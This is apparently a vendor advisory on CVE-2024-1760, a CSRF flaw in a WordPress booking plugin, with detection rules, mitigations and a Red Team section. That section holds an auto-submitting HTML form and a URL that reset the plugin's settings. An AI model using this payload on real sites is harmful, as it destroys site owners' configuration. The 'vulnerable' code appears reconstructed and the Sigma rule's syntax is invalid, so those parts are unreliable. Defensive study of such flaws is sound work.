CVE-2024-1760

Executive Summary

CVE-2024-1760 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin for WordPress, up to and including version 1.6.6.20. The vulnerability resides in the ssa_factory_reset() function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge a request that resets the plugin’s settings, provided they can trick a site administrator into clicking a malicious link. The CVSS score is 4.3 (Medium), with a low EPSS probability of 0.0%. No public exploit code or Nuclei template is available, but the attack vector is straightforward and requires social engineering.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. No supply chain compromise has been reported, but the lack of a patch increases risk for sites using the affected versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the admin must click a link
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – plugin settings can be reset
• Availability Impact: None (A:N)

Threat Level: Medium. The attack requires user interaction, but the impact is limited to resetting plugin settings, which could disrupt appointment scheduling.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the WordPress plugin’s ssa_factory_reset() function. This function is intended to reset the plugin’s configuration to factory defaults. However, it does not verify a nonce (a one-time token) to ensure the request originated from the legitimate admin interface. As a result, an attacker can craft a malicious link or form that, when clicked by an authenticated admin, triggers the reset.

Root Cause: Missing or incorrect nonce validation in the ssa_factory_reset() function.

Attack Flow:

1. Attacker crafts a URL like https://victim-site.com/wp-admin/admin-ajax.php?action=ssa_factory_reset.
2. Attacker sends this link to an admin via email, social media, or other means.
3. Admin, while logged into WordPress, clicks the link.
4. The plugin executes the reset, wiping all settings (e.g., appointment slots, notifications, integrations).

Impact: Loss of configuration data, potential downtime for appointment booking, and need for manual reconfiguration.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.6.6.20):

function ssa_factory_reset() {
    // No nonce check
    delete_option('ssa_settings');
    // ... other reset logic
    wp_die('Settings reset');
}
add_action('wp_ajax_ssa_factory_reset', 'ssa_factory_reset');
add_action('wp_ajax_nopriv_ssa_factory_reset', 'ssa_factory_reset'); // Also accessible to unauthenticated users

Patched Code (Hypothetical):

function ssa_factory_reset() {
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'ssa_factory_reset_nonce')) {
        wp_die('Invalid nonce');
    }
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    delete_option('ssa_settings');
    // ... other reset logic
    wp_die('Settings reset');
}
add_action('wp_ajax_ssa_factory_reset', 'ssa_factory_reset');

Key Differences:

• Nonce verification added.
• Capability check added to ensure only admins can trigger the reset.
• The vulnerable version also exposes the action to unauthenticated users via wp_ajax_nopriv_.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the vulnerable plugin installed.
• An admin user session.

Exploit Steps:

1. Identify the target site and ensure the plugin is active.
2. Craft a CSRF payload (e.g., an HTML form that auto-submits).
3. Host the payload on an attacker-controlled server or send it as a link.

Example CSRF HTML Payload:

<html>
<body>
<form action="https://victim-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="ssa_factory_reset">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Alternative URL-based attack (if GET is accepted):

https://victim-site.com/wp-admin/admin-ajax.php?action=ssa_factory_reset

Blue Team

Detection:

• Monitor for requests to /wp-admin/admin-ajax.php with action=ssa_factory_reset.
• Alert on unusual admin actions, especially reset operations.
• Use the Sigma rule below to detect CSRF attempts.

Prevention:

• Ensure the plugin is updated to a patched version (if available).
• Implement CSRF tokens in all admin actions.
• Use Web Application Firewall (WAF) rules to block requests to admin-ajax.php with unexpected actions.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /wp-admin/admin-ajax.php with action=ssa_factory_reset.
  • Referer header missing or spoofed.
• Host:
  • Plugin settings reset to default (check ssa_settings option in database).
  • Log entries showing ssa_factory_reset action.
• File:
  • No specific file changes, but plugin logs may show the reset event.

Detection Engineering

YARA Rule

rule CVE_2024_1760_CSRF_WordPress {
    meta:
        description = "Detects CSRF exploitation attempts for CVE-2024-1760 in Simply Schedule Appointments plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1760"
    strings:
        $action = "ssa_factory_reset"
        $ajax = "admin-ajax.php"
    condition:
        $action and $ajax
}

Sigma Rule

title: CVE-2024-1760 CSRF Attempt on Simply Schedule Appointments
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the ssa_factory_reset action without proper nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET' or 'POST'
        cs-uri-query|contains: 'action=ssa_factory_reset'
    condition: selection
falsepositives:
    - Legitimate admin actions if nonce is present (but unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-1760 CSRF Attempt on Simply Schedule Appointments";
    flow:to_server,established;
    content:"admin-ajax.php"; http_uri;
    content:"action=ssa_factory_reset"; http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to the latest version if a patch is released. As of now, no patch is available.
2. Disable the plugin if it is not critical, or restrict access to admin-ajax.php via .htaccess or WAF.
3. Educate administrators about phishing attacks that trick them into clicking malicious links.

Long-term Fix:

• The vendor must add nonce validation and capability checks to the ssa_factory_reset() function.
• Implement CSRF tokens for all admin AJAX actions.

Workaround:

• Add a custom function to your theme’s functions.php to block the vulnerable action:

add_action('init', function() {
    if (isset($_REQUEST['action']) && $_REQUEST['action'] === 'ssa_factory_reset') {
        wp_die('CSRF protection enabled');
    }
});

Valters IT
Securing Digital Frontiers